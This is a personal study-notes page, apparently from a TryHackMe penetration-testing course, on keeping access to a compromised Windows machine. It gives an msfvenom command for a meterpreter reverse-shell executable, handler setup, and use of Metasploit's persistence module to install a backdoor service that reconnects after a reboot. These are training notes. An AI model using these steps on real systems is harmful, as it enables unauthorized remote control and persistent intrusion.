📖
Notes
  • 🙌Welcome!
  • CyberSecurity
    • Penetration Testing
      • ELearnSecurity
        • eJPT
          • Footprinting & Scanning
            • Port Scanning
            • Mapping Networks
          • Information Gathering
            • Subdomain Enumeration
          • Network Attacks
            • Arp Poisoning
            • Null Sessions
            • Windows Shares
            • Authentication Cracking
          • Networking
            • Python Server to Receive Exfiltrated Data
            • CLI Tool to interact with HTTP/HTTPS
          • Programming
            • C++ Keylogger
            • C++ Information Stealer
          • System Attacks
            • Pivoting
            • Backdoor
          • Vulnerability Assessment
          • Web Attacks
            • SQL Injection
            • HTTP Verbs
            • Web Server Fingerprinting
      • PortSwigger
        • Cross-origin resource sharing (CORS)
          • Access-Control-Allow-Origin response header
          • Vulnerabilities arising from Misconfigurations
            • Server-generated ACAO header from client-specified Origin header
            • Errors parsing Origin headers
            • Whitelisted null origin value
            • Exploiting XSS via CORS trust relationships
            • Breaking TLS with poorly configured CORS
            • Intranets and CORS without credentials
            • Mitigations
        • Sql Injection
          • Examining the database
          • Retrieving data from other database tables
          • Blind SQL injection
          • Mitigation
      • TryHackMe
        • Main Methodology
          • 1. Reconnaissance
            • Google Dorking
            • Metadata Reader/Writer
            • Steghide - Stegnography
            • OSINT Framework
          • 2. Enumeration/Scanning
            • NFS Enumeration Tools
            • NMAP - Port Scanning
            • Web Enumeration Tools
            • SMB Enumeration Tools
            • SMTP Enumeration Tools
            • Shodan - IOT Search Engine
            • FTP Enumeration Tools
            • Wordpress Enumeration Tools
            • OWASP ZAP - WebApp Testing
            • BurpSuite - WebApp Testing
            • MySQL Enumeration Tools
            • Wordlists
          • 3. Gaining Access / Exploitation
            • Buffer Overflow
              • 1. Immunity Debugger
              • 2. Mona Setup
              • 3. Spiking
              • 4. Fuzzing
              • 5. Crash Replication & Controlling EIP
              • 6. Finding Bad Characters
              • 7. Find a Jump Point
              • 8. Generate Payload
              • 9. Prepend NOPs
              • 10. Final Buffer
            • Cryptography
              • Hash Crack Tools
              • Online Password Cracking Tools
              • Encryption
              • John the Ripper
            • Evasion Techniques
            • Shells
              • Powershell
              • Msfvenom
              • Meterpreter
              • Metasploit -- multi/handler
              • Netcat
              • Socat
            • Web Applications
              • OWASP Top 10
              • File Upload Vulnerabilities
              • Authentication Vulnerability
              • XML External Entity (XXE)
              • Cross-Site Scripting (XSS)
              • ZTH: Obscure Web Vulns
              • Server Side Request Forgery (SSRF)
              • Insecure Direct Object Reference (IDOR)
              • ZTH : Continued
              • File Inclusion Vulnerability
                • Local File Inclusion (LFI)
                • Log Poisoning Attack (LFI to RCE via Log files)
            • Windows Applications
              • Jenkins
              • Windows Active Directory
                • Impacket's secretsdump.py
                • Kerberos
                  • Enumerating Users with Kerbrute
                  • Enumerating SPN Accounts with Powershell
                  • Get SPN Account Ticket with Invoke-Kerberoast
                  • Kerberoasting with Rubeus & Impacket
                  • AS-REP Roasting with Rubeus/GetNPUsers.py
                  • Pass the Ticket with mimikatz
                  • Golden/Silver Ticket Attacks with mimikatz
                  • Kerberos Backdoors with mimikatz
                  • Harvesting and Brute-Forcing with Rubeus
                  • Conclusion and Resources
          • 4. Post Exploitation
            • Privilege Escalation
              • Linux
                • 1. Introduction
                • 2. Scripts
                • 3. Kernel Exploits
                • 4. Service Exploits
                • 5. Weak File Permissions
                • 6. Sudo
                • 7. Cron jobs
                • 8. SUID/SGID Executable
                • 9. CAP_SETUID Capabilities Executable
                • 10. Passwords & Keys
                • 11. NFS
                • PrivEsc CTF Checklists
              • Windows
                • Token Impersonation
                • PrivEsc CTF Checklists
                • Permission
                • Scripts
                • Unquoted Service Path
            • Tools
              • Meterpreter Modules
              • Impacket's Psexec
              • Impacket's mssqlclient.py
              • Firefox Decryptor
              • Socat - Reverse TCP Tunnel
            • Windows Active Directory
              • Enumeration with Powerview
              • Enumeration with Bloodhound (GUI)
              • Dumping Hashes with mimikatz
              • Golden Ticket Attacks with mimikatz
              • Enumeration with Server Manager
              • Maintaining Access
              • Additional Resources
          • 5. Covering Tracks
          • 6. Reporting
        • Networking Concepts
          • SSH Reverse Tunnels
        • Scripting
          • Curl
          • Powershell
            • Basic Powershell Commands
            • Enumeration
        • Web Extensions
          • Shodan
          • Wappalyzer
      • Miscellaneous
        • SMTP Enumeration
        • Nmap Advanced Scanning
        • Persistence via Meterpreter
        • DNS Enumeration
        • NetBIOS & SMB
        • DHCP Starvation
        • Packet Manipulation
        • Hash Cracking
        • MITM
        • Msfvenom Payload in APK (Manual Embedding)
    • Blue Teaming
      • Digital Forensics & Incidence Response
        • Memory Acquisition with LIME
        • Disk Analysis with Autopsy
        • Data and Memory Collection with FireEye Redline
        • Memory Forensice with Volatility
      • Intrusion Detection
        • Intrusion Detection Systems (IDS)
        • Threat Monitoring with Security Information & Event Management (SIEM)
        • Security Event Monitoring
        • Host Based Intrusion Detection System (HIDS) - OSSEC
      • Miscellaneous
        • Docker Image Security Analysis with Trivy
  • DevOps
    • Infrastructure as a Code (IaC)
      • Ansible
        • 1. Playbooks
        • 2. Modules
        • 3. Inventory
        • 4. Roles
        • 5. Ansible Tower
      • Terraform
        • 1. Overview
        • 2. Modify Resources
        • 3. Delete Resources
        • 4. Reference Resources
        • 5. Terraform Files
        • 6. Terraform State Commands
        • 7. Terraform Output
        • 8. Target Resources
        • 9. Terraform Variables
        • 10. Expressions + Functions
        • 11. Meta-Arguments
        • 12. Modules
        • 13. Managing Multiple Environments
        • 14. Testing Terraform Code
        • 15. Final Thoughts
    • Orchestration
      • Kubernetes
        • 1. Main K8s Components
        • 2. K8s Architecture
        • 3. Minikube & Kubectl
        • 4. YAML Configuration File
        • 5. K8s Namespaces
        • 6. K8s Ingress
        • 7. Helm - Package Manager of K8s
        • 8. K8 Volumes
        • 9. K8 StatefulSet
        • 10. K8 Services
  • Development
    • Blockchain
      • FreeCodeCamp Course
        • 1. Introduction
        • 2. Solidity Basics
        • 3. Storage Factory
        • 4. Fund Me
        • 5. Ethers.js
        • 6. Hardhat
        • 7. Hardhat | Fund Me
        • 8. Contract Lottery | Raffle
        • 9. IPFS
        • 10. ERC20s
        • 11. DeFi & Aave
        • 12. NFTs | Encoding
        • 13. Reentrancy Attack
    • Backend
      • NodeJs
        • Introduction
        • Additional Concepts
        • ExpressJs
    • Database
      • SQL
        • Basics
          • 1. Querying Data
          • 2. Filtering Data
          • 3. Joining Multiple Tables
          • 4. Grouping Data
          • 5. Set Operations
          • 6. Grouping Sets, Cube, and Rollup
          • 7. Subquery
          • 8. Common Table Expressions
          • 9. Modifying Data
          • 10. Transactions
          • 11. Import & Export Data
          • 12. Managing Tables
    • Testing
      • Test Driven Development (TDD)
      • Jest js
      • Cypress js
Powered by GitBook
On this page
  • Introduction
  • Generating a Payload w/ msfvenom
  • Run the Persistence Module
  1. CyberSecurity
  2. Penetration Testing
  3. TryHackMe
  4. Main Methodology
  5. 4. Post Exploitation
  6. Windows Active Directory

Maintaining Access

Introduction

There are a quite a few ways to maintain access on a machine or network we will be covering a fairly simple way of maintaining access by first setting up a meterpreter shell and then using the persistence metasploit module allowing us to create a backdoor service in the system that will give us an instant meterpreter shell if the machine is ever shutdown or reset.

There are also other ways of maintaining access such as advanced backdoors and rootkits however those are out of scope for now.


Generating a Payload w/ msfvenom

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -o shell.exe this will generate a basic windows meterpreter reverse tcp shell

  2. Transfer the payload from your attacker machine to the target machine.

  3. use exploit/multi/handler - this will create a listener on the port that you set it on.

  4. Configure our payload to be a windows meterpreter shell: set payload windows/meterpreter/reverse_tcp

  5. After setting your IP address as your "LHOST", start the listener with run

  6. Executing the binary on the windows machine will give you a meterpreter shell back on your host - let's return to that

  7. Verify that we've got a meterpreter shell, where we will then background it to run the persistence module.


Run the Persistence Module

  1. use exploit/windows/local/persistence this module will send a payload every 10 seconds in default however you can set this time to anything you want

  2. set session 1 set the session to the session that we backgrounded in meterpreter (you can use the sessions command in metasploit to list the active sessions)

If the system is shut down or reset for whatever reason you will lose your meterpreter session however by using the persistence module you create a backdoor into the system which you can access at any time using the metasploit multi handler and setting the payload to windows/meterpreter/reverse_tcp allowing you to send another meterpreter payload to the machine and open up a new meterpreter session.

Here you can see the session die however the second we run the handler again we get a meterpreter shell back thanks to the persistence service.

There are other ways of maintaining access such as adding users and rootkits.


PreviousEnumeration with Server ManagerNextAdditional Resources

Last updated 1 year ago